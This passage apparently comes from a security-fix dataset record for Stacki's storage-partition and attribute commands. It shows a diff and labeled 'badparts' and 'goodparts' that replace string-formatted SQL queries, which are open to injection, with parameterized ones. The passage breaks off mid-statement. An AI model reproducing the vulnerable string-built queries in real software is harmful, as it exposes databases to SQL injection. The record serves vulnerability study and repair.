True),\n+\t\t\t('size', None, True),\n+\t\t\t('type', None),\n+\t\t\t('mountpoint', None),\n+\t\t\t('options', None),\n+\t\t\t('partid', None),\n+\t\t])\n \n \t\tif not device:\n \t\t\traise ParamRequired(self, 'device')\n-\t\t#if size is blank then the sql command will crash\n+\n \t\tif not size:\n \t\t\traise ParamRequired(self, 'size')\n \n \t\t# Validate size\n-\t\tif size:\n-\t\t\ttry:\n-\t\t\t\ts = int(size)\n-\t\t\texcept:\n-\t\t\t\t#\n-\t\t\t\t# If mountpoint is 'swap' then allow\n-\t\t\t\t# 'hibernate', 'recommended' as sizes.\n-\t\t\t\t#\n-\t\t\t\tif mountpt == 'swap' and \\\n-\t\t\t\t\tsize not in ['recommended', 'hibernation']:\n-\t\t\t\t\t\traise ParamType(self, 'size', 'integer')\n-\t\t\t\telse:\n-\t\t\t\t\traise ParamType(self, 'size', 'integer')\n+\t\ttry:\n+\t\t\ts = int(size)\n \t\t\tif s < 0:\n \t\t\t\traise ParamValue(self, 'size', '>= 0')\n+\t\texcept:\n+\t\t\t# If mountpoint is 'swap' then allow\n+\t\t\t# 'hibernate', 'recommended' as sizes\n+\t\t\tif mountpt == 'swap' and size not in ['recommended', 'hibernation']:\n+\t\t\t\traise ParamType(self, 'size', 'integer')\n+\t\t\telse:\n+\t\t\t\traise ParamType(self, 'size', 'integer')\n \n \t\t# Validate partid\n \t\tif partid:\n@@ -171,52 +166,38 @@ def run(self, params, args):\n \t\t\t\traise ParamValue(self, 'partid', '>= 0')\n \n \t\t\tpartid = p\n+\t\telse:\n+\t\t\tpartid = 0\n \n-\t\t#\n-\t\t# look up the id in the appropriate 'scope' table\n-\t\t#\n-\t\ttableid = None\n-\t\tif scope == 'global':\n-\t\t\ttableid = -1\n-\t\telif scope == 'appliance':\n-\t\t\tself.db.execute(\"\"\"select id from appliances where\n-\t\t\t\tname = '%s' \"\"\" % name)\n-\t\t\ttableid, = self.db.fetchone()\n-\n-\n+\t\t# Look up the id in the appropriate 'scope' table\n+\t\tif scope == 'appliance':\n+\t\t\ttableid = self.db.select('id from appliances where name=%s', [name])[0][0]\n \t\telif scope == 'os':\n-\t\t\tself.db.execute(\"\"\"select id from oses where name = %s \"\"\", name)\n-\t\t\ttableid, = self.db.fetchone()\n-\n-\n+\t\t\ttableid = self.db.select('id from oses where name=%s', [name])[0][0]\n \t\telif scope == 'host':\n-\t\t\tself.db.execute(\"\"\"select id from nodes where\n-\t\t\t\tname = '%s' \"\"\" % name)\n-\t\t\ttableid, = self.db.fetchone()\n+\t\t\ttableid = self.db.select('id from nodes where name=%s', [name])[0][0]\n+\t\telse:\n+\t\t\ttableid = -1\n \n-\t\t#\n-\t\t# make sure the specification for mountpt doesn't already exist\n-\t\t#\n+\t\t# Make sure the specification for mountpt doesn't already exist\n \t\tif mountpt:\n \t\t\tself.checkIt(device, scope, tableid, mountpt)\n+\t\telse:\n+\t\t\t# Preserve the existing behavior (sad panda)\n+\t\t\tmountpt = 'None'\n+\n+\t\t# Preserve the existing behavior (sad panda)\n+\t\tif not fstype:\n+\t\t\tfstype = 'None'\n \n \t\tif not options:\n \t\t\toptions = \"\"\n-\t\t\n-\t\t#\n-\t\t# now add the specifications to the database\n-\t\t#\n-\n-\n-\t\tsqlvars = \"Scope, TableID, device, Mountpoint, Size, FsType, Options\"\n-\t\tsqldata = \"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\\n-\t\t\t(scope, tableid, device, mountpt, size, fstype, options)\n-\n-\t\tif partid:\n-\t\t\tsqlvars += \", PartID\"\n-\t\t\tsqldata += \", %s\" % partid\n-\n-\n-\t\tself.db.execute(\"\"\"insert into storage_partition\n-\t\t\t(%s) values (%s) \"\"\" % (sqlvars, sqldata))\n \n+\t\t# Now add the specifications to the database\n+\t\tself.db.execute(\"\"\"\n+\t\t\tINSERT INTO storage_partition(\n+\t\t\t\tScope, TableID, device, Mountpoint,\n+\t\t\t\tSize, FsType, Options, PartID\n+\t\t\t)\n+\t\t\tVALUES(%s, %s, %s, %s, %s, %s, %s, %s)\n+\t\t\"\"\", (scope, tableid, device, mountpt, size, fstype, options, partid))\ndiff --git a/common/src/stack/command/stack/commands/list/storage/partition/__init__.py b/common/src/stack/command/stack/commands/list/storage/partition/__init__.py\nindex ea4317e41..e948398f4 100644\n--- a/common/src/stack/command/stack/commands/list/storage/partition/__init__.py\n+++ b/common/src/stack/command/stack/commands/list/storage/partition/__init__.py\n@@ -87,10 +87,11 @@ def run(self, params, args):\n \t\t\t\tscope = 'host'\n \t\tif not scope:\n \t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name')\n+\n \t\tquery = None\n \t\tif scope == 'global':\n \t\t\tif globalOnlyFlag:\n-\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid \n+\t\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\t\tfrom storage_partition\n \t\t\t\t\twhere scope = 'global'\n \t\t\t\t\torder by device,partid,fstype, size\"\"\"\n@@ -104,40 +105,39 @@ def run(self, params, args):\n \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n \t\t\t\t\tappliances as a on p.tableid=a.id where\n \t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\"\n-\n-\n-\n-\n \t\telif scope == 'os':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope = \"os\" and tableid = (select id\n-\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]\n+\t\t\t\tfrom oses where name = %s) order by device,partid,fstype,size\"\"\"\n \t\telif scope == 'appliance':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope = \"appliance\"\n \t\t\t\tand tableid = (select id from appliances\n-\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n+\t\t\t\twhere name = %s) order by device,partid,fstype, size\"\"\"\n \t\telif scope == 'host':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope=\"host\" and\n \t\t\t\ttableid = (select id from nodes\n-\t\t\t\twhere name = '%s') order by device,partid,fstype, size\"\"\" % args[0]\n+\t\t\t\twhere name = %s) order by device,partid,fstype, size\"\"\"\n \n \t\tif not query:\n \t\t\treturn\n \n \t\tself.beginOutput()\n \n-\t\tself.db.execute(query)\n-\t\ti = 0\n-\t\tfor row in self.db.fetchall():\n-\t\t\tname, device, mountpoint, size, fstype, options, partid = row\n+\t\tif scope == 'global':\n+\t\t\tself.db.execute(query)\n+\t\telse:\n+\t\t\tself.db.execute(query, [args[0]])\n+\n+\t\tfor name, device, mountpoint, size, fstype, options, partid in self.db.fetchall():\n \t\t\tif size == -1:\n \t\t\t\tsize = \"recommended\"\n \t\t\telif size == -2:\n \t\t\t\tsize = \"hibernation\"\n+\n \t\t\tif name == \"host\" or name == \"appliance\" or name == \"os\":\n-\t\t\t\tname = args[0]\t\n+\t\t\t\tname = args[0]\n \n \t\t\tif mountpoint == 'None':\n \t\t\t\tmountpoint = None\n@@ -148,10 +148,8 @@ def run(self, params, args):\n \t\t\tif partid == 0:\n \t\t\t\tpartid = None\n \n-\t\t\tself.addOutput(name, [device, partid, mountpoint,\n-\t\t\t\tsize, fstype, options])\n-\n-\t\t\ti += 1\n-\n-\t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False)\n+\t\t\tself.addOutput(name, [device, partid, mountpoint, size, fstype, options])\n \n+\t\tself.endOutput(header=[\n+\t\t\t'scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'\n+\t\t], trimOwner=False)\ndiff --git a/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py b/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py\nindex c4b9421e6..e00646763 100644\n--- a/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py\n+++ b/common/src/stack/command/stack/commands/remove/storage/partition/__init__.py\n@@ -51,14 +51,18 @@ class Command(stack.commands.remove.command,\n \n \tdef run(self, params, args):\n \t\t(scope, device, mountpoint) = self.fillParams([\n-\t\t\t('scope', 'global'), ('device', None), ('mountpoint', None)])\n+\t\t\t('scope', 'global'),\n+\t\t\t('device', None),\n+\t\t\t('mountpoint', None)\n+\t\t])\n+\n \t\toses = []\n \t\tappliances = []\n \t\thosts = []\n \t\tname = None\n \t\taccepted_scopes = ['global', 'os', 'appliance', 'host']\n \n-\t\t# Some checking that we got usable input.:\n+\t\t# Some checking that we got usable input\n \t\tif scope not in accepted_scopes:\n \t\t\traise ParamValue(self, '%s' % params, 'one of the following: %s' % accepted_scopes )\n \t\telif scope == 'global' and len(args) >= 1:\n@@ -78,23 +82,25 @@ def run(self, params, args):\n \t\tif scope != 'global':\n \t\t\tname = args[0]\n \n-\t\t#\n-\t\t# look up the id in the appropriate 'scope' table\n-\t\t#\n-\t\ttableid = -1\n-\t\ttablename = {\"os\":\"oses\", \"appliance\":\"appliances\", \"host\":\"nodes\"}\n-\t\tif scope != 'global':\n-\t\t\tself.db.execute(\"\"\"select id from %s where\n-\t\t\t\tname = '%s' \"\"\" % (tablename[scope], name))\n-\t\t\ttableid, = self.db.fetchone()\n+\t\t# Look up the id in the appropriate 'scope' table\n+\t\tif scope == 'appliance':\n+\t\t\ttableid = self.db.select('id from appliances where name=%s', [name])[0][0]\n+\t\telif scope == 'os':\n+\t\t\ttableid = self.db.select('id from oses where name=%s', [name])[0][0]\n+\t\telif scope == 'host':\n+\t\t\ttableid = self.db.select('id from nodes where name=%s', [name])[0][0]\n+\t\telse:\n+\t\t\ttableid = -1\n \n-\t\tdeletesql = \"\"\"delete from storage_partition where\n-\t\t\tscope = '%s' and tableid = %s \"\"\" % (scope, tableid)\n+\t\tquery = 'delete from storage_partition where scope = %s and tableid = %s'\n+\t\tvalues = [scope, tableid]\n \n \t\tif device and device != '*':\n-\t\t\tdeletesql += \"\"\" and device = '%s'\"\"\" % device\n+\t\t\tquery += ' and device = %s'\n+\t\t\tvalues.append(device)\n \n \t\tif mountpoint and mountpoint != '*':\n-\t\t\tdeletesql += \"\"\" and mountpoint = '%s'\"\"\" % mountpoint\n+\t\t\tquery += ' and mountpoint = %s'\n+\t\t\tvalues.append(mountpoint)\n \n-\t\tself.db.execute(deletesql)\n+\t\tself.db.execute(query, values)\ndiff --git a/common/src/stack/command/stack/commands/set/attr/doc/__init__.py b/common/src/stack/command/stack/commands/set/attr/doc/__init__.py\nindex bc0e88dae..23018b818 100644\n--- a/common/src/stack/command/stack/commands/set/attr/doc/__init__.py\n+++ b/common/src/stack/command/stack/commands/set/attr/doc/__init__.py\n@@ -36,21 +36,14 @@ def run(self, params, args):\n \t\t\t('doc', None, True),\n \t\t\t])\n \n-\t\trows = self.db.execute(\"\"\"\n-\t\t\tselect attr from attributes where attr='%s'\n-\t\t\t\"\"\" % (attr))\n+\t\trows = self.db.select('attr from attributes where attr=%s', (attr,))\n \n \t\tif not rows:\n \t\t\traise CommandError(self, 'Cannot set documentation for a non-existant attribute')\n \n-\t\tself.db.execute(\"\"\"\n-\t\t\tdelete from attributes_doc where attr='%s'\n-\t\t\t\"\"\" % (attr))\n+\t\tself.db.execute('delete from attributes_doc where attr=%s', (attr,))\n \n \t\tif doc:\n-\t\t\tself.db.execute(\n-\t\t\t\t\"\"\"\n-\t\t\t\tinsert into attributes_doc\n-\t\t\t\t(attr, doc)\n-\t\t\t\tvalues ('%s', '%s')\n-\t\t\t\t\"\"\" % (attr, doc))\n+\t\t\tself.db.execute(\"\"\"\n+\t\t\t\tinsert into attributes_doc(attr, doc) values (%s, %s)\n+\t\t\t\"\"\", (attr, doc))\n", "message": "", "files": {"/common/src/stack/command/stack/commands/add/storage/partition/__init__.py": {"changes": [{"diff": "\n \t\telse:\n \t\t\tname = args[0]\n \n-\t\tdevice, size, fstype, mountpt, options, partid = \\\n-\t\t\tself.fillParams([\n-\t\t\t\t('device', None, True),\n-\t\t\t\t('size', None), \n-\t\t\t\t('type', None), \n-\t\t\t\t('mountpoint', None),\n-\t\t\t\t('options', None),\n-\t\t\t\t('partid', None),\n-\t\t\t\t])\n+\t\tdevice, size, fstype, mountpt, options, partid = self.fillParams([\n+\t\t\t('device', None, True),\n+\t\t\t('size', None, True),\n+\t\t\t('type', None),\n+\t\t\t('mountpoint', None),\n+\t\t\t('options', None),\n+\t\t\t('partid', None),\n+\t\t])\n \n \t\tif not device:\n \t\t\traise ParamRequired(self, 'device')\n-\t\t#if size is blank then the sql command will crash\n+\n \t\tif not size:\n \t\t\traise ParamRequired(self, 'size')\n \n \t\t# Validate size\n-\t\tif size:\n-\t\t\ttry:\n-\t\t\t\ts = int(size)\n-\t\t\texcept:\n-\t\t\t\t#\n-\t\t\t\t# If mountpoint is 'swap' then allow\n-\t\t\t\t# 'hibernate', 'recommended' as sizes.\n-\t\t\t\t#\n-\t\t\t\tif mountpt == 'swap' and \\\n-\t\t\t\t\tsize not in ['recommended', 'hibernation']:\n-\t\t\t\t\t\traise ParamType(self, 'size', 'integer')\n-\t\t\t\telse:\n-\t\t\t\t\traise ParamType(self, 'size', 'integer')\n+\t\ttry:\n+\t\t\ts = int(size)\n \t\t\tif s < 0:\n \t\t\t\traise ParamValue(self, 'size', '>= 0')\n+\t\texcept:\n+\t\t\t# If mountpoint is 'swap' then allow\n+\t\t\t# 'hibernate', 'recommended' as sizes\n+\t\t\tif mountpt == 'swap' and size not in ['recommended', 'hibernation']:\n+\t\t\t\traise ParamType(self, 'size', 'integer')\n+\t\t\telse:\n+\t\t\t\traise ParamType(self, 'size', 'integer')\n \n \t\t# Validate partid\n \t\tif partid:\n", "add": 18, "remove": 23, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["\t\tdevice, size, fstype, mountpt, options, partid = \\", "\t\t\tself.fillParams([", "\t\t\t\t('device', None, True),", "\t\t\t\t('size', None), ", "\t\t\t\t('type', None), ", "\t\t\t\t('mountpoint', None),", "\t\t\t\t('options', None),", "\t\t\t\t('partid', None),", "\t\t\t\t])", "\t\tif size:", "\t\t\ttry:", "\t\t\t\ts = int(size)", "\t\t\texcept:", "\t\t\t\tif mountpt == 'swap' and \\", "\t\t\t\t\tsize not in ['recommended', 'hibernation']:", "\t\t\t\t\t\traise ParamType(self, 'size', 'integer')", "\t\t\t\telse:", "\t\t\t\t\traise ParamType(self, 'size', 'integer')"], "goodparts": ["\t\tdevice, size, fstype, mountpt, options, partid = self.fillParams([", "\t\t\t('device', None, True),", "\t\t\t('size', None, True),", "\t\t\t('type', None),", "\t\t\t('mountpoint', None),", "\t\t\t('options', None),", "\t\t\t('partid', None),", "\t\t])", "\t\ttry:", "\t\t\ts = int(size)", "\t\texcept:", "\t\t\tif mountpt == 'swap' and size not in ['recommended', 'hibernation']:", "\t\t\t\traise ParamType(self, 'size', 'integer')", "\t\t\telse:", "\t\t\t\traise ParamType(self, 'size', 'integer')"]}, {"diff": "\n \t\t\t\traise ParamValue(self, 'partid', '>= 0')\n \n \t\t\tpartid = p\n+\t\telse:\n+\t\t\tpartid = 0\n \n-\t\t#\n-\t\t# look up the id in the appropriate 'scope' table\n-\t\t#\n-\t\ttableid = None\n-\t\tif scope == 'global':\n-\t\t\ttableid = -1\n-\t\telif scope == 'appliance':\n-\t\t\tself.db.execute(\"\"\"select id from appliances where\n-\t\t\t\tname = '%s' \"\"\" % name)\n-\t\t\ttableid, = self.db.fetchone()\n-\n-\n+\t\t# Look up the id in the appropriate 'scope' table\n+\t\tif scope == 'appliance':\n+\t\t\ttableid = self.db.select('id from appliances where name=%s', [name])[0][0]\n \t\telif scope == 'os':\n-\t\t\tself.db.execute(\"\"\"select id from oses where name = %s \"\"\", name)\n-\t\t\ttableid, = self.db.fetchone()\n-\n-\n+\t\t\ttableid = self.db.select('id from oses where name=%s', [name])[0][0]\n \t\telif scope == 'host':\n-\t\t\tself.db.execute(\"\"\"select id from nodes where\n-\t\t\t\tname = '%s' \"\"\" % name)\n-\t\t\ttableid, = self.db.fetchone()\n+\t\t\ttableid = self.db.select('id from nodes where name=%s', [name])[0][0]\n+\t\telse:\n+\t\t\ttableid = -1\n \n-\t\t#\n-\t\t# make sure the specification for mountpt doesn't already exist\n-\t\t#\n+\t\t# Make sure the specification for mountpt doesn't already exist\n \t\tif mountpt:\n \t\t\tself.checkIt(device, scope, tableid, mountpt)\n+\t\telse:\n+\t\t\t# Preserve the existing behavior (sad panda)\n+\t\t\tmountpt = 'None'\n+\n+\t\t# Preserve the existing behavior (sad panda)\n+\t\tif not fstype:\n+\t\t\tfstype = 'None'\n \n \t\tif not options:\n \t\t\toptions = \"\"\n-\t\t\n-\t\t#\n-\t\t# now add the specifications to the database\n-\t\t#\n-\n-\n-\t\tsqlvars = \"Scope, TableID, device, Mountpoint, Size, FsType, Options\"\n-\t\tsqldata = \"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\\n-\t\t\t(scope, tableid, device, mountpt, size, fstype, options)\n-\n-\t\tif partid:\n-\t\t\tsqlvars += \", PartID\"\n-\t\t\tsqldata += \", %s\" % partid\n-\n-\n-\t\tself.db.execute(\"\"\"insert into storage_partition\n-\t\t\t(%s) values (%s) \"\"\" % (sqlvars, sqldata))\n \n+\t\t# Now add the specifications to the database\n+\t\tself.db.execute(\"\"\"\n+\t\t\tINSERT INTO storage_partition(\n+\t\t\t\tScope, TableID, device, Mountpoint,\n+\t\t\t\tSize, FsType, Options, PartID\n+\t\t\t)\n+\t\t\tVALUES(%s, %s, %s, %s, %s, %s, %s, %s)\n+\t\t\"\"\", (scope, tableid, device, mountpt, size, fstype, options, partid))", "add": 25, "remove": 39, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["\t\ttableid = None", "\t\tif scope == 'global':", "\t\t\ttableid = -1", "\t\telif scope == 'appliance':", "\t\t\tself.db.execute(\"\"\"select id from appliances where", "\t\t\t\tname = '%s' \"\"\" % name)", "\t\t\ttableid, = self.db.fetchone()", "\t\t\tself.db.execute(\"\"\"select id from oses where name = %s \"\"\", name)", "\t\t\ttableid, = self.db.fetchone()", "\t\t\tself.db.execute(\"\"\"select id from nodes where", "\t\t\t\tname = '%s' \"\"\" % name)", "\t\t\ttableid, = self.db.fetchone()", "\t\t", "\t\tsqlvars = \"Scope, TableID, device, Mountpoint, Size, FsType, Options\"", "\t\tsqldata = \"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\", "\t\t\t(scope, tableid, device, mountpt, size, fstype, options)", "\t\tif partid:", "\t\t\tsqlvars += \", PartID\"", "\t\t\tsqldata += \", %s\" % partid", "\t\tself.db.execute(\"\"\"insert into storage_partition", "\t\t\t(%s) values (%s) \"\"\" % (sqlvars, sqldata))"], "goodparts": ["\t\telse:", "\t\t\tpartid = 0", "\t\tif scope == 'appliance':", "\t\t\ttableid = self.db.select('id from appliances where name=%s', [name])[0][0]", "\t\t\ttableid = self.db.select('id from oses where name=%s', [name])[0][0]", "\t\t\ttableid = self.db.select('id from nodes where name=%s', [name])[0][0]", "\t\telse:", "\t\t\ttableid = -1", "\t\telse:", "\t\t\tmountpt = 'None'", "\t\tif not fstype:", "\t\t\tfstype = 'None'", "\t\tself.db.execute(\"\"\"", "\t\t\tINSERT INTO storage_partition(", "\t\t\t\tScope, TableID, device, Mountpoint,", "\t\t\t\tSize, FsType, Options, PartID", "\t\t\t)", "\t\t\tVALUES(%s, %s, %s, %s, %s, %s, %s, %s)", "\t\t\"\"\", (scope, tableid, device, mountpt, size, fstype, options, partid))"]}], "source": "\n import stack.commands from stack.exception import CommandError, ArgRequired, ArgValue, ParamRequired, ParamType, ParamValue class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor, \t\tstack.commands.add.command): \t\"\"\" \tAdd a partition configuration to the database. \t \tZero or one argument. The argument is the scope: a valid os(e.g., \t'redhat'), a valid appliance(e.g., 'backend') or a valid host \t(e.g., 'backend-0-0). No argument means the scope is 'global'. \t \t \tDisk device on which we are creating partitions \t \t \tMountpoint to create \t \t \tSize of the partition. \t \t \tType of partition E.g: ext4, ext3, xfs, raid, etc. \t \t \tOptions that need to be supplied while adding partitions. \t \t \tThe relative partition id for this partition. Partitions will be \tcreated in ascending partition id order. \t \t \t \tCreates a ext4 partition on device sda with mountpoints /var. \t \t \tCreates a physical volume named pv.01 for lvm. \t \t \tCreates a volume group from 3 physical volumes i.e. pv.01, pv.02, pv.03. All these 3 \tphysical volumes need to be created with the previous example. PV's need to be space \tseparated. \t \t \tCreated an xfs lvm partition of size 8192 on volgrp01. volgrp01 needs to be created \twith the previous example. \t \t\"\"\" \t \t \t \t \tdef checkIt(self, device, scope, tableid, mountpt): \t\tself.db.execute(\"\"\"select Scope, TableID, Mountpoint, \t\t\tdevice, Size, FsType from storage_partition where \t\t\tScope=%s and TableID=%s and device=%s \t\t\tand Mountpoint=%s\"\"\",(scope, tableid, device, mountpt)) \t\trow=self.db.fetchone() \t\tif row: \t\t\traise CommandError(self, \"\"\"partition specification for device %s, \t\t\t\tmount point %s already exists in the \t\t\t\tdatabase\"\"\" %(device, mountpt)) \tdef run(self, params, args): \t\tscope=None \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tif len(args)==0: \t\t\tscope='global' \t\telif len(args)==1: \t\t\ttry: \t\t\t\toses=self.getOSNames(args) \t\t\texcept: \t\t\t\toses=[] \t\t\ttry: \t\t\t\tappliances=self.getApplianceNames(args) \t\t\texcept: \t\t\t\tappliances=[] \t\t\ttry: \t\t\t\thosts=self.getHostnames(args) \t\t\texcept: \t\t\t\thosts=[] \t\telse: \t\t\traise ArgRequired(self, 'scope') \t\tif not scope: \t\t\tif args[0] in oses: \t\t\t\tscope='os' \t\t\telif args[0] in appliances: \t\t\t\tscope='appliance' \t\t\telif args[0] in hosts: \t\t\t\tscope='host' \t\tif not scope: \t\t\traise ArgValue(self, 'scope', 'valid os, appliance name or host name') \t\tif scope=='global': \t\t\tname='global' \t\telse: \t\t\tname=args[0] \t\tdevice, size, fstype, mountpt, options, partid=\\ \t\t\tself.fillParams([ \t\t\t\t('device', None, True), \t\t\t\t('size', None), \t\t\t\t('type', None), \t\t\t\t('mountpoint', None), \t\t\t\t('options', None), \t\t\t\t('partid', None), \t\t\t\t]) \t\tif not device: \t\t\traise ParamRequired(self, 'device') \t\t \t\tif not size: \t\t\traise ParamRequired(self, 'size') \t\t \t\tif size: \t\t\ttry: \t\t\t\ts=int(size) \t\t\texcept: \t\t\t\t \t\t\t\t \t\t\t\t \t\t\t\t \t\t\t\tif mountpt=='swap' and \\ \t\t\t\t\tsize not in['recommended', 'hibernation']: \t\t\t\t\t\traise ParamType(self, 'size', 'integer') \t\t\t\telse: \t\t\t\t\traise ParamType(self, 'size', 'integer') \t\t\tif s < 0: \t\t\t\traise ParamValue(self, 'size', '>=0') \t\t \t\tif partid: \t\t\ttry: \t\t\t\tp=int(partid) \t\t\texcept ValueError: \t\t\t\traise ParamValue(self, 'partid', 'an integer') \t\t\tif p < 1: \t\t\t\traise ParamValue(self, 'partid', '>=0') \t\t\tpartid=p \t\t \t\t \t\t \t\ttableid=None \t\tif scope=='global': \t\t\ttableid=-1 \t\telif scope=='appliance': \t\t\tself.db.execute(\"\"\"select id from appliances where \t\t\t\tname='%s' \"\"\" % name) \t\t\ttableid,=self.db.fetchone() \t\telif scope=='os': \t\t\tself.db.execute(\"\"\"select id from oses where name=%s \"\"\", name) \t\t\ttableid,=self.db.fetchone() \t\telif scope=='host': \t\t\tself.db.execute(\"\"\"select id from nodes where \t\t\t\tname='%s' \"\"\" % name) \t\t\ttableid,=self.db.fetchone() \t\t \t\t \t\t \t\tif mountpt: \t\t\tself.checkIt(device, scope, tableid, mountpt) \t\tif not options: \t\t\toptions=\"\" \t\t \t\t \t\t \t\t \t\tsqlvars=\"Scope, TableID, device, Mountpoint, Size, FsType, Options\" \t\tsqldata=\"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\ \t\t\t(scope, tableid, device, mountpt, size, fstype, options) \t\tif partid: \t\t\tsqlvars +=\", PartID\" \t\t\tsqldata +=\", %s\" % partid \t\tself.db.execute(\"\"\"insert into storage_partition \t\t\t(%s) values(%s) \"\"\" %(sqlvars, sqldata)) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n\nimport stack.commands\nfrom stack.exception import CommandError, ArgRequired, ArgValue, ParamRequired, ParamType, ParamValue\n\n\nclass Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor,\n\t\tstack.commands.add.command):\n\t\"\"\"\n\tAdd a partition configuration to the database.\n\n\t\n\tZero or one argument. The argument is the scope: a valid os (e.g.,\n\t'redhat'), a valid appliance (e.g., 'backend') or a valid host\n\t(e.g., 'backend-0-0). No argument means the scope is 'global'.\n\t\n\n\t\n\tDisk device on which we are creating partitions\n\t\n\n\t\n\tMountpoint to create\n\t\n\n\t\n\tSize of the partition.\n\t\n\n\t\n\tType of partition E.g: ext4, ext3, xfs, raid, etc.\n\t\n\n\t\n\tOptions that need to be supplied while adding partitions.\n\t\n\n\t\n\tThe relative partition id for this partition. Partitions will be\n\tcreated in ascending partition id order.\n\t\n\t\n\t\n\tCreates a ext4 partition on device sda with mountpoints /var.\n\t\n\n\t\n\tCreates a physical volume named pv.01 for lvm.\n\t\n\n\t\n\tCreates a volume group from 3 physical volumes i.e. pv.01, pv.02, pv.03. All these 3\n\tphysical volumes need to be created with the previous example. PV's need to be space\n\tseparated.\n\t\n\t\n\tCreated an xfs lvm partition of size 8192 on volgrp01. volgrp01 needs to be created\n\twith the previous example.\n\t\n\t\"\"\"\n\n\t#\n\t# Checks if partition config already exists in DB for a device and \n\t# a mount point.\n\t#\n\tdef checkIt(self, device, scope, tableid, mountpt):\n\t\tself.db.execute(\"\"\"select Scope, TableID, Mountpoint,\n\t\t\tdevice, Size, FsType from storage_partition where\n\t\t\tScope=%s and TableID=%s and device= %s\n\t\t\tand Mountpoint=%s\"\"\",(scope, tableid, device, mountpt))\n\n\t\trow = self.db.fetchone()\n\n\t\tif row:\n\t\t\traise CommandError(self, \"\"\"partition specification for device %s,\n\t\t\t\tmount point %s already exists in the \n\t\t\t\tdatabase\"\"\" % (device, mountpt))\n\n\tdef run(self, params, args):\n\t\tscope = None\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\n\t\tif len(args) == 0:\n\t\t\tscope = 'global'\n\t\telif len(args) == 1:\n\t\t\ttry:\n\t\t\t\toses = self.getOSNames(args)\n\t\t\texcept:\n\t\t\t\toses = []\n\n\t\t\ttry:\n\t\t\t\tappliances = self.getApplianceNames(args)\n\t\t\texcept:\n\t\t\t\tappliances = []\n\n\t\t\ttry:\n\t\t\t\thosts = self.getHostnames(args)\n\t\t\texcept:\n\t\t\t\thosts = []\n\t\telse:\n\t\t\traise ArgRequired(self, 'scope')\n\n\t\tif not scope:\n\t\t\tif args[0] in oses:\n\t\t\t\tscope = 'os'\n\t\t\telif args[0] in appliances:\n\t\t\t\tscope = 'appliance'\n\t\t\telif args[0] in hosts:\n\t\t\t\tscope = 'host'\n\n\t\tif not scope:\n\t\t\traise ArgValue(self, 'scope', 'valid os, appliance name or host name')\n\n\t\tif scope == 'global':\n\t\t\tname = 'global'\n\t\telse:\n\t\t\tname = args[0]\n\n\t\tdevice, size, fstype, mountpt, options, partid = \\\n\t\t\tself.fillParams([\n\t\t\t\t('device', None, True),\n\t\t\t\t('size', None), \n\t\t\t\t('type', None), \n\t\t\t\t('mountpoint', None),\n\t\t\t\t('options', None),\n\t\t\t\t('partid', None),\n\t\t\t\t])\n\n\t\tif not device:\n\t\t\traise ParamRequired(self, 'device')\n\t\t#if size is blank then the sql command will crash\n\t\tif not size:\n\t\t\traise ParamRequired(self, 'size')\n\n\t\t# Validate size\n\t\tif size:\n\t\t\ttry:\n\t\t\t\ts = int(size)\n\t\t\texcept:\n\t\t\t\t#\n\t\t\t\t# If mountpoint is 'swap' then allow\n\t\t\t\t# 'hibernate', 'recommended' as sizes.\n\t\t\t\t#\n\t\t\t\tif mountpt == 'swap' and \\\n\t\t\t\t\tsize not in ['recommended', 'hibernation']:\n\t\t\t\t\t\traise ParamType(self, 'size', 'integer')\n\t\t\t\telse:\n\t\t\t\t\traise ParamType(self, 'size', 'integer')\n\t\t\tif s < 0:\n\t\t\t\traise ParamValue(self, 'size', '>= 0')\n\n\t\t# Validate partid\n\t\tif partid:\n\t\t\ttry:\n\t\t\t\tp = int(partid)\n\t\t\texcept ValueError:\n\t\t\t\traise ParamValue(self, 'partid', 'an integer')\n\n\t\t\tif p < 1:\n\t\t\t\traise ParamValue(self, 'partid', '>= 0')\n\n\t\t\tpartid = p\n\n\t\t#\n\t\t# look up the id in the appropriate 'scope' table\n\t\t#\n\t\ttableid = None\n\t\tif scope == 'global':\n\t\t\ttableid = -1\n\t\telif scope == 'appliance':\n\t\t\tself.db.execute(\"\"\"select id from appliances where\n\t\t\t\tname = '%s' \"\"\" % name)\n\t\t\ttableid, = self.db.fetchone()\n\n\n\t\telif scope == 'os':\n\t\t\tself.db.execute(\"\"\"select id from oses where name = %s \"\"\", name)\n\t\t\ttableid, = self.db.fetchone()\n\n\n\t\telif scope == 'host':\n\t\t\tself.db.execute(\"\"\"select id from nodes where\n\t\t\t\tname = '%s' \"\"\" % 